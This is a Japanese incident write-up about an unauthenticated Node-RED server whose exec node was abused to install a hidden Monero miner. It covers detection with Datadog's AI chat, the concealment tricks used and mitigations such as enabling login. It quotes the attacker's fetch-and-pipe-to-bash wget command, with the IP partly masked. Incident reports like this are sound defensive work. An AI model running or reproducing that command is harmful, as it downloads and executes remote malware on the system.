教訓「マイニングマルウェア」を仕込まれた話：しかも数ヶ月潜伏された
ログイン無しで使える状態の Node-RED を公開していた結果、マイニングマルウェアを仕込まれた話
背景
Datadog のアラート「CPU利用率が30分間連続して90%以上」を受信していた。
一時的なスパイクではなく、2日間以上、長時間にわたって高止まりしている。
先日、PM2の仮想メモリを大量に確保していたロード負荷を経験していたので同じ事象を疑ったが、ちょっと様子が違った。Bits AI チャット に聞いてみると、原因はインターネットにアクセス可能なNode-RED を公開していたことがヒントとして浮上した。
しかも一度ではなく、Node-RED の execノードを使って外部からスクリプトを取得・実行するフローが仕込まれ、数ヶ月単位で潜伏していたというもの。なんとhistoryコマンドが一切の履歴を消去されており、決定的なことは、どこかの指令サーバーと通信していた痕跡も見つかった。
この教訓記事では、Node-REDの無防備な公開がどれだけ危険か、実際の調査の流れと対策をまとめる。
Node-REDのexecノードが狙われやすい理由
Node-REDのexecノードは、Node-REDの中からLinuxコマンドを実行できる便利な機能だ。
ただし、管理画面がパスワード無しログインできる状態でインターネットへ無防備な状態で公開されていると、攻撃者にとってはそのまま「コマンド実行の入口」になる。
この Node-RED は、学習用サーバーのサンドボックス用途として使っていた。特長的な 1880 ポートをスキャンされたのだろう、execノード経由で外部スクリプトを取得・実行されたと予想している。
問題
実は数ヶ月前にも同じ事象を経験していた。
- DatadogがCPU高負荷の継続を検知
- 不審なプロセスが高負荷だった
- 異常な外向き通信の検知
このときはプロセスを削除(kill)したらCPU負荷が平常に戻ったので安心してしまった。
そして数か月後の7月までずっと潜伏していた。
再び、Datadogからのアラート「CPU利用率が30分間連続して90%以上」を受信した。今度は恒久対策をしなければならない。
原因特定 までの経緯
Datadogで異常の「継続性」を確認
過去にも 特定プロセスによるCPU高負荷を観測していた。
前回の事象
今回が初回ではなかった。数カ月前にも同じ事象を検知して tcrond を削除していたが、7月には再び同系統の潜伏を確認した。
しかし今回はちがう。 Bits AI チャット が一緒に調査をしてくれたのだ！
サーバー内部の不審なファイルを片っ端から検索し、ついに /var/tmp/.../.../tcrond というファイル名、...記号で判りにくくして潜んでいるものを見つけてくれた。このとき、ファイル内容のスクリプトを読めば手掛かりになった可能性はあるが、その場で削除してしまったため、詳細は残っていない。しかし後述するセキュリティ記事に記載があった！
Hackers send a request that downloads a small program (x640) onto the computer of an unfortunate victim. Later, another request runs this program, and the program in question downloads two more scripts (x521 and x522 install a Monero miner (tcrond) and make it run and stop any other mines on the infected machine.
訳
ハッカーは、被害者のコンピュータに小さなプログラム（x640）をダウンロードさせるリクエストを送信します。その後、別のリクエストによってこのプログラムが実行されると、そのプログラムはさらに2つのスクリプト（x521およびx522）をダウンロードします。これらはMoneroマイナー（tcrond）をインストールして実行し、感染したマシン上で動作している他のマイニングプロセスを停止させます。
Bits AI が深堀していく
アレコレと調査していくと、不審なプロセスが node-red.service で起動していることが見つかったらしい。~/.node-red/flows.json には、execノード経由で外部サーバーからスクリプトを取得し、実行する処理が混入していたとのこと🦴。
このとき確認できたコマンドは、以下だ。
wget -qO- http://103.56.***.***:8090/8M****5M/x640 | bash >/dev/null 2>&1 &
外部サーバーからスクリプトをダウンロードしてそのまま実行する内容で、決定的な痕跡のひとつだ。先の記事にsmall program (x640) とファイル名が一致している。
数ヶ月潜伏と隠蔽工作
恐怖したのは、潜伏されたままサーバーを運用していたことだ。
学習用途とはいえ、セキュリティはしっかり対策せねば。
隠ぺい工作されたポイントがいくつかある
- シェル履歴
historyなど活動履歴が削除されていること（ある時期以前の履歴がゼロ） - 覚えのない
tcrondプロセスが動いていたこと。なんだか存在しそうな名前だし - 普段気にしないファイル名
/var/tmp/.../.../tcrondが作成され、潜伏されていた
外部通信で［指示サーバー］の存在を疑う
最終的な決め手になったのは Bits AI が教えてくれた 外部サーバーとの通信 だった。
そのうえ、Bits AI は、その通信がマイニングマルウェアであることを示唆していたこと。
これは非常に重要な警告です⚠️
tcrond プロセスが、CPU使用率59.9%という異常な負荷をかけており、auto.c3pool.org:80 に接続していることから、**暗号通貨のマイニング（クリプトマイニング）**を行っている可能性が高いです。
ねころこさんの記事にも同様に紹介されている。
「auto.c3pool.org」とは、仮想通貨「Monero（モネロ）」を採掘（マイニング）するために世界中で広く使われている、公開マイニングプールの接続先サーバー（ドメイン）です。
対策
1. 応急手当
ここからは VS Code の Github Copilot と一緒に対策を実施した。
- 不審なプロセス tcrond を止める
- Node-REDも停止
- 不審プロセス、一時ファイル、取得済みスクリプトの調査と削除
2. Node-REDの公開方針を見直す
Node-REDは便利だが、インターネットへ無条件公開してはいけない。
- 管理UIには必ずログイン認証を有効化
-
execノードを使う時は特に気を付ける。最小権限にする（ロール）
3. 潜伏しているファイルを撲滅
サーバーOSにSSH接続している Github Copilot に徹底的な調査と潜伏ファイルの削除を指示した。
今日は順調です。
まとめ
今回の本質は明確で、Node-REDを無条件公開していたこと自体が脆弱性だった。
execノードは便利な機能だが、公開状態と組み合わさると一気に危険度が上がる。
加えて、一度の対応ではダメで、証跡もキレイにして数ヶ月間潜伏する見つけ難い敵を見つけることができた。決定的なのは、活動のための外部サーバーとの通信まで伴う形で活動していた。
驚いたのは、Bits AI チャットが CPUリソースモニタリング、ログ、外部通信 を分析して、原因を特定したことだった。
Node-REDは便利なツールなので、今度はログイン認証付きで再開する。